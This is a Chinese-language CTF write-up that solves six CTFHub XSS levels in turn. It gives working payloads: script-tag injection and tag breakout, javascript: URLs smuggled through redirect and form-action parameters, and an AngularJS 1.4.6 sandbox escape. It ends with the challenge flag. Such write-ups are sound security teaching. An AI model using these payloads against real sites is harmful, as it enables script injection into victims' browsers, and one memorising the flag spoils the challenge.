0%

WriteUp-CTFHub-XSS闯关

题目考点

  • WEB
  • XSS

解题思路

本环境为闯关形式,每过一关即可进入下一关,过关目标为利用XSS漏洞在页面执行alert函数

  • level1
    • 设置username=<script>alert("flag")</script>,过关
  • level2
    • 输入level1同样的payload,没有反应,查看网页源码,发现</script>闭合了原本的script标签,所以无法执行alert函数
    • 修改payload为username=</script><script>alert("flag")</script>,过关
  • level3
    • 输入level1同样的payload同样没有反应,查看网页源码,似乎问题和level2一样
    • 使用level2同样的paload,过关
  • level4
    • 查看网页源码,发现jumpUrl参数可以控制跳转的url:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
            <script type="text/javascript">
      var time = 10;
      var jumpUrl;
      if(getQueryVariable('jumpUrl') == false){
      jumpUrl = location.href;
      }else{
      jumpUrl = getQueryVariable('jumpUrl');
      }
      setTimeout(jump,1000,time);
      function jump(time){
      if(time == 0){
      location.href = jumpUrl;
      }else{
      time = time - 1 ;
      document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
      setTimeout(jump,1000,time);
      }
      }
      function getQueryVariable(variable)
      {
      var query = window.location.search.substring(1);
      var vars = query.split("&");
      for (var i=0;i<vars.length;i++) {
      var pair = vars[i].split("=");
      if(pair[0] == variable){return pair[1];}
      }
      return(false);
      }
      </script>
    • 所以基于JavaScript为协议,可以构造payload为jumpUrl=javascript:alert("flag"),过关
  • level5
    • 输入level1同样的payload无效,查看网页源码:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      <script type="text/javascript">
      if(getQueryVariable('autosubmit') !== false){
      var autoForm = document.getElementById('autoForm');
      autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
      autoForm.submit();
      }else{

      }
      function getQueryVariable(variable)
      {
      var query = window.location.search.substring(1);
      var vars = query.split("&");
      for (var i=0;i<vars.length;i++) {
      var pair = vars[i].split("=");
      if(pair[0] == variable){return pair[1];}
      }
      return(false);
      }
      </script>
    • 这段代码的意思是,如果autosubmit参数存在,则自动提交表单
    • 所以构造payload为autosubmit=1&action=javascript:alert("flag"),过关
  • level6
    • 输入level1同样的payload没有反应,查看网页源码,发现使用了AnjularJS框架
      1
      <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
    • 搜索AnjularJS框架XSS漏洞,发现Angular(版本号小于1.6)内的典型XSS payload为username={{7*7}},测试后发现确实存在XSS漏洞
    • 使用payload{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert("flag")//');}}进行沙箱逃逸,过关
  • 完成所有关卡,获得flag

FLAG

1
n1book{xss_is_so_interesting}

参考链接

欢迎关注我的其它发布渠道